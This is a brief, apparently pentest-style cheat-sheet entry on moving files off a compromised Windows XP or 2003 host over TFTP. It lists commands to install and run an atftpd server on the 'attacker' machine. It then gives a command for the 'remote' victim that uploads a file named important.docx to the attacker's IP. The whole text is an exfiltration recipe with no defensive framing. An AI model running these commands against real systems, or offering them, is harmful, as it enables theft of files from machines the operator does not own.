Requirements

TFTP is only available on Windows XP, 2003, or older.

On attacker: install aftpd

sudo apt update && sudo apt install atftp
sudo mkdir /tftp
sudo chown nobody: /tftp
sudo atftpd --daemon --port 69 /tftp

On remote:

tftp -i <your ip> put important.docx